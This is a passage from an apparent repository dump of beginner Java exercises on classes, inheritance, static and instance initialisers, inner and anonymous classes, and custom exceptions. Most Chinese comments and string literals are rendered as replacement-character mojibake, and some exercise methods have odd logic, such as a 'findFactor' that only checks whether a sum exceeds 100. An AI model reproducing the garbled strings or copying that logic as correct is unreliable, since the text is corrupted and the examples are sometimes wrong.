    "content": "package com.jun.plugin.javase.object;\n\npublic class InterfaceInner {\n\tpublic static void main(String[] args) {\n\t\t\n\t}\n}\ninterface Inter{\n\tvoid show();\n\tvoid show2();\n}\nclass Outer31{\n\tstatic class Inner{\n\t\t\n\t}\n\tvoid method(){\n\t\tnew Inner();\n\t}\n\tpublic static void show(Inter in){\n\t\tin.show();\n\t\tin.show2();\n\t}\n\tpublic static void main(String[] args) {\n\t\tshow(new Inter(){\n\t\t\tpublic void show(){\n\t\t\t\tSystem.out.println(\"1\");\n\t\t\t}\n\t\t\tpublic void show2(){\n\t\t\t\tSystem.out.println(\"2\");\n\t\t\t}\n\t\t});\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Object1.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Object1 {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*Car c1=new Car();\n\t\tc1.showCar();\n\t\t\n\t\tc1.color=\"black\";\n\t\tc1.num=5;\n\t\tc1.showCar();\n\t\t\n\t\tCar c2=c1;\n\t\tc2.num=6;\n\t\tc2.color=\"blue\";\n\t\tc2.showCar();\n\t\t\n\t\tCar c3=new Car();\n\t\tc3.num=3;\n\t\tc3.color=\"yellow\";\n\t\tc3.showCar();\n\t\t\n\t\tSystem.out.println(c1);\n\t\tSystem.out.println(c2);\n\t\tSystem.out.println(c3);*/\n\t\t\n\t\t\n\t\tList(1,2,3);\n\t\t\n\t}\n\t\n\tstatic void List(int...intArray){\n\t\tfor(int i=0;i<intArray.length;i++){\n\t\t\tif(i==intArray.length-1){\n\t\t\t\tSystem.out.print(intArray[i]);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(intArray[i]+\",\");\n\t\t\t}\n\t\t}\n\t}\n\t\n\tstatic void chang(Car c){\n\t\tc.color=\"red\";\n\t\tc.num=10;\n\t\tc.showCar();\n\t}//Car c����C��һ������\n}\nclass Car{\n\tint num;\n\tString color;\n\tpublic void showCar(){\n\t\tSystem.out.println(num+\"------\"+color);\n\t}\n\t\n\t\n\tpublic Car(){\n\t\tthis.num=4;\n\t\tthis.color=\"white\";\n\t}\n}//һ������ֻ����һ��public\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Object2.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Object2 {\n\tpublic static void main(String[] args) {\n\t\tint a=12;\n\t\tchange(a);\n\t\tSystem.out.println(a);\n\t\t\n\t\tDemo test=new Demo();\n\t\ttest.n=12;\n\t\ttest.change(test.n);\n\t}//һ���Ǹ��ƣ�һ�������ã�\n\t\n\tstatic void change(int n){\n\t\tn=10;\n\t}\n}\n\nclass Demo{\n\tint n;\n\tvoid change(int n){\n\t\tn=10;\n\t\tSystem.out.println(n);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Object3.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Object3 {\n\tpublic static void main(String[] args) {\n\t\t\n\t}\n}\n/*class Book{\n\tprivate String name;\n\tpublic String getName(){\n\t\tint id=0;\n\t\tsetName(\"java\");\n\t\treturn id+\",\"+this.name;\n\t}\n\tprivate void setName(String name){\n\t\tthis.name=name;\n\t}\n\tpublic Book getBook(){\n\t\treturn this;\n\t}\n}*/\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Person3.java",
    "content": "package com.jun.plugin.javase.object;\n\nimport java.util.Arrays;\n\npublic class Person3 {\n\tString name;\n\tint age;\n\tstatic String contry;\n\tstatic{\n\t\tcontry=\"cq\";\n\t\tSystem.out.println(\"���Ǿ�̬����\");\n\t}\n\t{\n\t\tSystem.out.println(\"���ǹ�������\");\n\t}\n\tPerson3(){\n\t\t\n\t}\n\tPerson3(String name,int age){\n\t\tSystem.out.println(\"���ǹ��캯��\");\n\t\t//contry=\"cd\";\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n\tpublic void pop(){\n\t\tSystem.out.println(name+\",\"+age+\",\"+contry);\n\t}\n\tpublic static void speak(){\n\t\tSystem.out.println(contry);\n\t\tSystem.out.println(\"���Ǿ�̬����\");\n\t}\n\t\n\tpublic String toString() {\n\t\treturn \"Person3 [name=\" + name + \", age=\" + age + \"]\";\n\t}\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"========\");\n\t\tPerson3 p1=new Person3(\"����\",20);\n\t\tp1.pop();\n\t\tPerson3 p2=new Person3(\"����\",22);\n\t\tPerson3 p3=new Person3(\"����\",22);\n\t\tp2.pop();\n\t\t\n\t\t\n\t\tPerson3 []arr={p1,p2,p3};\n\t\tSystem.out.println(Arrays.toString(arr));\n\t\t\n\t\t\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Rectangle.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Rectangle {\n\tint a;\n\tint b;\n\t\n\tpublic Rectangle(){\n\t\tthis.a=5;\n\t\tthis.b=6;\n\t}\n\t\n\tpublic int area(){\n\t\treturn a*b;\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tRectangle test=new Rectangle();\n\t\tSystem.out.println(\"������\"+test.area());\n\t\t\n\t\tTrectangle test2=new Trectangle();\n\t\ttest2.a=12;\n\t\ttest2.b=1;\n\t\tSystem.out.println(\"������\"+test2.area());\n\t}\n}\n\n\n\nclass Trectangle extends Rectangle{\n\tpublic Trectangle(){\n\t\tsuper();//ֻ���������๹�췽����ĵ�һ��\n\t\tsuper.area();\n\t}\n\t\n\tpublic int area(){\n\t\treturn a*b*10;\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/StaticKey.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class StaticKey {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"============\");\n\t\tPerson1 p1=new Person1(\"����\",22);\n\t\t//Person1 p2=new Person1(\"����\",21);\n\t\t//Person1 p3=new Person1(\"������\",23);\n\t\tp1.pop();\n\t\t//p1.speak();//������ʾ�̬����,���׻�����̬��Ա�ͷǾ�̬��Ա��������ʹ��\n\t\t//p2.pop();\n\t\t//p3.pop();\n\t\tPerson1.speak();//�������ʾ�̬����,��speak����δ��static���Σ�����ʹ����������\n\t\t/*System.out.println(\"�������:\"+p1.contry);\n\t\tSystem.out.println(\"�����:\"+Person1.contry);*/\n\t\t\n\t\t\n\t\t\n\t}\n}\n\nclass Person1{\n\tString name;\n\tint age=40;\n\tstatic String contry=\"CN\";\n\tstatic{\n\t\tcontry=\"cq\";\n\t\tSystem.out.println(\"���Ǿ�̬����\");\n\t}\n\tPerson1(){\n\t\t\n\t}\n\tPerson1(String name,int age){\n\t\tSystem.out.println(\"���ǹ��캯��\");\n\t\tcontry=\"cd\";\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n\tpublic void pop(){\n\t\tSystem.out.println(name+\",\"+age+\",\"+contry);\n\t}\n\tpublic static void speak(){\n\t\t//System.out.println(contry);\n\t\tSystem.out.println(\"���Ǿ�̬����\");\n\t}\n}\n\n//ִ��˳�򣺾�̬���򡪡����캯��������̬���������캯���;�̬������ִ��˳��һ���������ݴ�������͵��þ�̬������˳��ͬ����ͬ\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/SuperKey.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class SuperKey {\n\tpublic static void main(String[] args) {\n\t\tChildClass cc=new ChildClass();\n\t\tcc.f();\n\t}\n}\nclass FatherClass{\n\tpublic int value;\n\tpublic void f(){\n\t\tvalue=10;\n\t\tSystem.out.println(\"����ֵ\"+this.value);\n\t}\n}\nclass ChildClass extends FatherClass{\n\tpublic int value;//���˼̳и����value�����Լ����ⶨ����һ��value��\n\tpublic void f(){\n\t\tsuper.f();//ʹ��������еĸ�������Լ������Լ���f�������ı��������ࣩ��ֵ;\n\t\tvalue=200;\n\t\tSystem.out.println(\"����ֵ\"+this.value);\n\t\tSystem.out.println(value);\n\t\tSystem.out.println(super.value);//�Ӹ���̳�����value��ֵ��\n\t}\n}\n\n/*\nsuperָ���࣬�Ǹ��������\nthisָ�����࣬�����������,ֻ�����ڷǾ�̬��������\n��new����һ������ʱ�������������һ��this�����ã�ָ�������\n���new�����Ķ���ʱһ���������Ļ�����ô�������������滹����һ��super���ã�ָ��ǰ����ĸ�����\n*/\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Test {\n\tprivate String name;\n\tpublic void setName(String name){\n\t\tthis.name=name;\n\t}\n\tpublic void getName(){\n\t\tSystem.out.println(\"���õ�������\"+name);\n\t}\n\tpublic static void main(String[] args) {\n\t\tTest test=new Test();\n\t\ttest.setName(\"java\");\n\t\ttest.getName();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test111.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Test111 {\n\tpublic void test(Bird bird){\n\t\tSystem.out.println(bird.getName()+\"�ܹ���\"+bird.fly()+\"��\");\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tTest111 test=new Test111();\n\t\ttest.test(new Bird(){\n\t\t\tpublic int fly(){\n\t\t\t\treturn 1000;\n\t\t\t}\n\t\t\tpublic String getName(){\n\t\t\t\treturn \"����\";\n\t\t\t}\n\t\t});\n\t}\n}\n\n\nabstract class Bird {\n\tprivate String name;\n\tpublic String getName(){\n\t\treturn name;\n\t}\n\tpublic void setName(String name){\n\t\tthis.name=name;\n\t}\n\tpublic abstract int fly();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test2.java",
    "content": "package com.jun.plugin.javase.object;\n\nimport java.util.Arrays;\n\npublic class Test2 {\n\tpublic static void main(String[] args) {\n\t\tint a=3;\n\t\tint b=4;\n\t\tchange(a,b);//��ջ����ִ����ϡ�����ջ\n\t\tSystem.out.println(\"a:\"+a);\n\t\tSystem.out.println(\"b:\"+b);//���ݵ�ֵ����Ӱ��ԭֵ\n\t\t\n\t\tint[] count={1,2,3,4,5};\n\t\tchange(count);//����counts��count����һ����ַ��ͬʱָ����еĶ��󣬣��ı�������һ����ֵ����һ��Ҳ��ı䣻\n\t\tSystem.out.println(\"���÷���֮������飺\"+Arrays.toString(count));//���õ�ֵ�ı���ԭֵ\n\t}\n\tstatic void change(int i,int j){\n\t\tint temp=i;\n\t\ti=j;\n\t\tj=temp;\n\t}\n\t\n\tpublic static void change(int[] counts){\n\t\tcounts[0]=6;\n\t\tSystem.out.println(\"count�ĵ�һ������Ԫ���ǣ�\"+counts[0]);\n\t}\n}\n/*��Java�в������ݶ����и����ģ�����˵��ֵ���ݣ������ǽ���������һ���ٽ��д��ݣ������������͵�ֵ�Ǹ��ƣ����������ݽ��в�������˲���ı�ԭֵ��\n��һ�ֽ����ǣ������������ʹ洢��ջ�У������÷�������ʱ������ջ�����ܸı�ԭֵ���Ҳ���ԭֵ����\n����Ĵ����Ǵ��ݵ�ַ���Ƕ�������ã�������ַָ����ڴ��е�ͬһ�����ݣ��ı�������һ���������������仯��*/\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test3.java",
    "content": "package com.jun.plugin.javase.object;\n\n\n\npublic class Test3 {\n\tstatic void show(){\n\t\tSystem.out.println(1);\n\t}\n\tvoid show(int n){\n\t\t\n\t}\n}\nclass TestF extends Test3{\n\tstatic void show(){\n\t\tSystem.out.println(2);\n\t}//�����˸��෽������������д???static���εĳ�Ա���ڷ������У�����ʵ���������ԲŻ������ظ����˵��???\n\tvoid show(int n){\n\t\tSystem.out.println(n);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test4.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Test4 {\n\tpublic static void main(String[] args) {\n\t\tAnimal a1=new Cat();//����ת��\n\t\ta1.eat();\n\t\t\n\t\t//a1.catchMouse();����\n\t\t/*Cat c1=(Cat) a1;//����ת��\n\t\tc1.catchMouse();*/\n\t\t\n\t\t/*Dog d1=(Dog)a1;\n\t\td1.lookHome();//ͬ�������벻����ִ�б���*/\n\t\t\n\t\tif(a1 instanceof Dog){\n\t\t\tSystem.out.println(1);\n\t\t}\n\t\t\n\t\t\n\t}\n}\nabstract class Animal{\n\tabstract  void eat();\n}\n\nclass Cat extends Animal{\n\tvoid eat(){\n\t\tSystem.out.println(\"����\");\n\t}\n\tvoid catchMouse(){\n\t\tSystem.out.println(\"ץ����\");\n\t}\n}\n\nclass Dog extends Animal{\n\tvoid eat(){\n\t\tSystem.out.println(\"�й�ͷ\");\n\t}\n\tvoid lookHome(){\n\t\tSystem.out.println(\"����\");\n\t}\n}\n\nclass Pig extends Animal{\n\tvoid eat(){\n\t\tSystem.out.println(\"������\");\n\t}\n\tvoid gongdi(){\n\t\tSystem.out.println(\"����\");\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test5.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Test5 {\n\tpublic static void main(String[] args) {\n\t\t/*Demo3 d1=new Demo33();\n\t\td1.show();*/\n\t\t/*Demo3 d2=new Demo3();\n\t\td2.show();*/\n\t\tOuter21 d1=new Outer21();\n\t\tSystem.out.println(d1.method());\n\t\t\n\t\t\n\t}\n}\n\ninterface Demo3{\n\tabstract void print();\n}\n\nclass Outer21{\n\tpublic Demo3 method(){\n\t\treturn new Demo3(){\n\t\t\tpublic void print(){\n\t\t\t\tSystem.out.println(\"1\");\n\t\t\t}\n\t\t};\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test6.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Test6 {\n\tpublic static void main(String[] args) {\n\t\t\n\t\tOuter2.Inner2 o1=new Outer2().new Inner2();//ע�Ͳ����뱾����ͬ��\n\t\to1.show();\n\t\t\n\t}\n}\nclass Outer2{\n\t/*Inner2 in=new Inner2();\n\tvoid print(){\n\t\tin.show();\n\t}*/\n\t\n\tclass Inner2{\n\t\tint n=12;\n\t\tvoid show(){\n\t\t\tSystem.out.println(n);\n\t\t}\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test7.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Test7 {\n\tpublic static void main(String[] args) {\n\t\tOuter3 o1=new Outer3();\n\t\to1.method();\n\t}\n}\nabstract class Demo22{\n\tabstract void show();\n}\nclass Outer3{\n\tvoid method(){\n\t\t\n\t\t/*new Demo22(){\n\t\t\tvoid show(){\n\t\t\t\tSystem.out.println(\"122\");\n\t\t\t}\n\t\t\tvoid show1(){\n\t\t\t\tSystem.out.println(\"222\");\n\t\t\t}\n\t\t}.show();�������*/\n\t\t\n\t\t/*Demo22 d1=new Demo22(){\n\t\t\tvoid show(){\n\t\t\t\tSystem.out.println(\"22\");\n\t\t\t}\n\t\t\tvoid show1(){\n\t\t\t\tSystem.out.println(\"11\");\n\t\t\t}\n\t\t};\n\t\td1.show();�������*/\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Test8.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Test8 {\n\t\n\tpublic void test(Bird11 bird){\n\t\tSystem.out.println(bird.getName()+\"�ܷ�\"+bird.fly()+\"��\");\n\t}\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tTest8 t=new Test8();\n\t\tt.test(new Bird11(){\n\t\t\tpublic int fly(){\n\t\t\t\treturn 1000;\n\t\t\t}\n\t\t\tpublic String getName(){\n\t\t\t\treturn \"��ȸ\";\n\t\t\t}\n\t\t});\n\t\t/*Demo33 d=new Demo33();\n\t\tSystem.out.println(d.method());*/\n\t\t\n\t\t/*new Demo44(){\n\t\t\tpublic void show(){\n\t\t\t\tSystem.out.println(\"33\");\n\t\t\t}\n\t\t\tpublic void show1(){\n\t\t\t\tSystem.out.println(\"44\");\n\t\t\t}\n\t\t\tpublic void show3(){\n\t\t\t\tSystem.out.println(\"55\");\n\t\t\t}\n\t\t}.show3();*/\n\t\t\n\t\t\n\t}\n}\n\nabstract class Bird11{\n\tString name;\n\tvoid setName(String name){\n\t\tthis.name=name;\n\t}\n\tString getName(){\n\t\treturn name;\n\t}\n\tabstract int fly();\n}\n\ninterface Demo44{\n\tvoid show();\n\tvoid show1();\n}\nclass Demo33{\n\tDemo44 method(){\n\t\treturn new Demo44(){\n\t\t\tpublic void show(){\n\t\t\t\tSystem.out.println(\"11\");\n\t\t\t}\n\t\t\tpublic void show1(){\n\t\t\t\tSystem.out.println(\"22\");\n\t\t\t}\n\t\t};\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/ThisKey.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class ThisKey {\n\tpublic static void main(String[] args) {\n\t\tnew C();\n\t}\n}\nclass A{\n\tD d=new D(\"A\");\n\tstatic{\n\t\tSystem.out.println(\"load A\");\n\t}\n\tpublic A(){\n\t\tSystem.out.println(\"create A\");\n\t}\n}\nclass B extends A{\n\tD d=new D(\"B\");\n\tstatic{\n\t\tSystem.out.println(\"load B\");\n\t}\n\tpublic B(){\n\t\tSystem.out.println(\"create B\");\n\t}\n}\nclass C extends B{\n\tD d=new D(\"C\");\n\tstatic{\n\t\tSystem.out.println(\"load C\");\n\t}\n\tpublic C(){\n\t\tSystem.out.println(\"create C\");\n\t}\n}\nclass D{\n\tstatic{\n\t\tSystem.out.println(\"load D\");\n\t}\n\tD(String str){\n\t\tSystem.out.println(\"D����\"+str+\"�г�ʼ��\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Tran.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Tran {\n\tpublic static void main(String[] args) throws MyException {\n\t\t/*int result=avg(19,190);\n\t\tSystem.out.println(result);*/\n\t\t\n\t\ttry{\n\t\t\tint result=avg(-8,-9);\n\t\t\tSystem.out.println(result);\n\t\t}catch(MyException e){\n\t\t\tSystem.out.println(e);\n\t\t}\n\t}\n\tstatic int avg(int number1,int number2)throws MyException{\n\t\tif(number1<0||number2<0){\n\t\t\tthrow new MyException(\"����ʹ�ø���\");\n\t\t}\n\t\tif(number1>100||number2>100){\n\t\t\tthrow new MyException(\"��ֵ̫����\");\n\t\t}\n\t\treturn (number1+number2)/2;\n\t}\n}\n\n\nclass MyException extends Exception{\n\tMyException(String msg){\n\t\tsuper(msg);\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/TransferProperty.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class TransferProperty {\n\tint i=47;\n\tpublic void call(){\n\t\tSystem.out.println(\"����call��������\");\n\t\tfor(int i=0;i<3;i++){\n\t\t\tSystem.out.print(i+\"\");\n\t\t\tif(i==2){\n\t\t\t\tSystem.out.print(\"\\n\");\n\t\t\t}\n\t\t}\n\t}\n\tpublic TransferProperty(){\n\t\t\n\t}\n\tpublic static void main(String[] args){\n\t\tTransferProperty t1=new TransferProperty();\n\t\tTransferProperty t2=new TransferProperty();\n\t\tt2.i=60;\n\t\tSystem.out.println(\"��һ��ʵ��������ñ���i�Ľ����\"+t1.i++);\n\t\tt1.call();\n\t\tSystem.out.println(\"�ڶ���ʵ��������ñ���i�Ľ����\"+t2.i);\n\t\tt2.call();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/TryCatch.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class TryCatch {\n\tpublic static void main(String[] args) {\n\t\tint[] arr=new int[3];\n\t\ttry{\n\t\t\tSystem.out.println(\"--------\");\n\t\t\tmethod(arr,-1);\n\t\t\treturn;\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t\tSystem.out.println(\"=========\");\n\t\t\t//return;\n//\t\t\tSystem.exit(0);\n\t\t}finally{\n\t\t\tSystem.out.println(\"����\");\n\t\t}\n\t\tSystem.out.println(\"over\");\n\t}\n\t\n\tpublic static int method(int[] arr,int index){\n\t\tif(arr==null){\n\t\t\tthrow new NullPointerException(\"����Ϊ��\");\n\t\t}\n\t\tif(index>=arr.length){\n\t\t\tthrow new ArrayIndexOutOfBoundsException(\"�����±�Խ��\"+index);\n\t\t}\n\t\tif(index<0){\n\t\t\tthrow new FushuException(index);\n\t\t}\n\t\treturn arr[index];\n\t}\n}\n\nclass FushuException extends RuntimeException{\n\tFushuException(int index){\n\t\tsuper(\"�±겻��Ϊ����\"+index);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Coder.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Coder extends Person{\n\tprivate String yuyan;\n\tCoder(String name,int age,String yuyan){\n\t\tsuper(name,age);\n\t\tthis.yuyan=yuyan;\n\t}\n\t\n\tvoid setYuyan(String yuyan){\n\t\tthis.yuyan=yuyan;\n\t}\n\tString getYuyan(){\n\t\treturn yuyan;\n\t}\n\tvoid show(){\n\t\tSystem.out.println(\"����:\"+getName()+\",\"+\"����:\"+getAge()+\",\"+\"����:\"+yuyan);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Coffee.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Coffee extends Drink {\n\t\n\tCoffee(String taste,String capacity,int price){\n\t\tsuper(taste,capacity,price);\n\t}\n\tvoid showName(){\n\t\tSystem.out.println(\"����\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Drink.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic abstract class Drink {\n\tprivate String taste;\n\tprivate String capacity;\n\tprivate int price;\n\tDrink(String taste,String capacity,int price){\n\t\tthis.taste=taste;\n\t\tthis.capacity=capacity;\n\t\tthis.price=price;\n\t}\n\t\n\tvoid setTaste(String taste){\n\t\tthis.taste=taste;\n\t}\n\tString getTaste(){\n\t\treturn taste;\n\t}\n\tvoid setCapacity(String capacity){\n\t\tthis.capacity=capacity;\n\t}\n\tString getCapacity(){\n\t\treturn capacity;\n\t}\n\tvoid setPrice(int price){\n\t\tthis.price=price;\n\t}\n\tint getPrice(){\n\t\treturn price;\n\t}\n\t\n\tvoid showProperty(){\n\t\tSystem.out.println(getTaste()+\",\"+getCapacity()+\",\"+getPrice());\n\t}\n\t\n\tabstract void showName();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Empolyee.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic abstract class Empolyee {\n\tprivate String name;\n\tprivate String Id;\n\tprivate double salary;\n\tpublic Empolyee(String name, String Id, double salary) {\n\t\tthis.name = name;\n\t\tthis.Id = Id;\n\t\tthis.salary = salary;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getId() {\n\t\treturn Id;\n\t}\n\tpublic void setId(String id) {\n\t\tId = id;\n\t}\n\tpublic double getSalary() {\n\t\treturn salary;\n\t}\n\tpublic void setSalary(double salary) {\n\t\tthis.salary = salary;\n\t}\n\tpublic String toString() {\n\t\treturn \"Empolyee [name=\" + name + \", Id=\" + Id + \", salary=\" + salary+ \"]\";\n\t}\n\tabstract void work();\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Interface.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Interface {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t\n\t}\n}\n\ninterface calculate{\n\tlong fact(int m);\n\tlong intPower(int m,int n);\n\tboolean findFactor(int m,int n);\n}\n\nclass Intrtface2 implements calculate {\n\t\n\tpublic long fact(int m){\n\t\tif(m<=1){\n\t\t\treturn 1;\n\t\t}\n\t\telse{\n\t\t\treturn m*fact(m-1);\n\t\t}\n\t}\n\tpublic long intPower(int m,int n){\n\t\tint temp=m;\n\t\tfor(int i=1;i<n;i++){\n\t\t\tm=m*temp;\n\t\t}\n\t\treturn m;\n\t}\n\tpublic boolean findFactor(int m,int n){\n\t\tint sum=m+n;\n\t\tif(sum>100)\n\t\t\treturn true;\n\t\treturn false;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Manager.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Manager extends Empolyee{\n\tprivate double bonus;\n\tpublic Manager(String name, String Id, double salary,double bonus) {\n\t\tsuper(name, Id, salary);\n\t\tthis.bonus=bonus;\n\t}\n\n\tpublic double getBonus() {\n\t\treturn bonus;\n\t}\n\n\tpublic void setBonus(double bonus) {\n\t\tthis.bonus = bonus;\n\t}\n\n\tvoid work() {\n\t\tSystem.out.println(\"mananger...\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Milk.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Milk extends Drink{\n\n\tMilk(String taste,String capacity,int price){\n\t\tsuper(taste,capacity,price);\n\t}\n\t\n\tvoid showName(){\n\t\tSystem.out.println(\"ţ��\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Person.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Person {\n\tprivate String name;\n\tprivate int age;\n\tPerson(String name,int age){\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n\t\n\tvoid setName(String name){\n\t\tthis.name=name;\n\t}\n\tString getName(){\n\t\treturn name;\n\t}\n\tvoid setAge(int age){\n\t\tthis.age=age;\n\t}\n\tint getAge(){\n\t\treturn age;\n\t}\n\tvoid show(){\n\t\tSystem.out.println(name+\",\"+age);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Programmer.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Programmer extends Empolyee {\n\t\n\tpublic Programmer(String name, String Id, double salary) {\n\t\tsuper(name, Id, salary);\n\t}\n\n\tvoid work() {\n\t\tSystem.out.println(\"code....\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Shape.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic abstract class Shape {\n\tprivate String color;\n\t\n\tvoid setColor(String color){\n\t\tthis.color=color;\n\t}\n\tString getColor(){\n\t\treturn color;\n\t}\n\t\n\tabstract int getPerimeter();\n\tabstract void getShap();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Student.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Student {\n\tprivate String name;\n\tprivate int age;\n\tprivate String sex;\n\tprivate String dept;\n\t\n\tStudent(String name,int age){\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t\tthis.sex=\"��\";\n\t\tthis.dept=\"Computer Science\";\n\t}\n\tStudent(String name,int age,String sex,String dept){\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t\tthis.sex=sex;\n\t\tthis.dept=dept;\n\t}\n\tvoid setName(String name){\n\t\tthis.name=name;\n\t}\n\tString getName(){\n\t\treturn name;\n\t}\n\tvoid setAge(int age){\n\t\tthis.age=age;\n\t}\n\tint getAge(){\n\t\treturn age;\n\t}\n\tvoid setSex(String sex){\n\t\tthis.sex=sex;\n\t}\n\tString getSex(){\n\t\treturn sex;\n\t}\n\tvoid setDept(String dept){\n\t\tthis.dept=dept;\n\t}\n\tString getDept(){\n\t\treturn dept;\n\t}\n\tvoid introduce(Student s1){\n\t\tif(s1.getSex()==null||s1.getDept()==null){\n\t\t\ts1.setSex(\"��\");\n\t\t\ts1.setDept(\"Computer Science\");\n\t\t}\n\t\tSystem.out.println(\"�ҽ�\"+getName()+\",\"+getAge()+\"��,�Ա�:\"+getSex()+\",רҵ:\"+getDept());\n\t}\n\tpublic String toString() {\n\t\treturn \"Student [name=\" + name + \", age=\" + age + \", sex=\" + sex+ \", dept=\" + dept + \"]\";\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Tea.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Tea extends Drink {\n\n\tTea(String taste,String capacity,int price){\n\t\tsuper(taste,capacity,price);\n\t}\n\tvoid showName(){\n\t\tSystem.out.println(\"��\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Test.java",
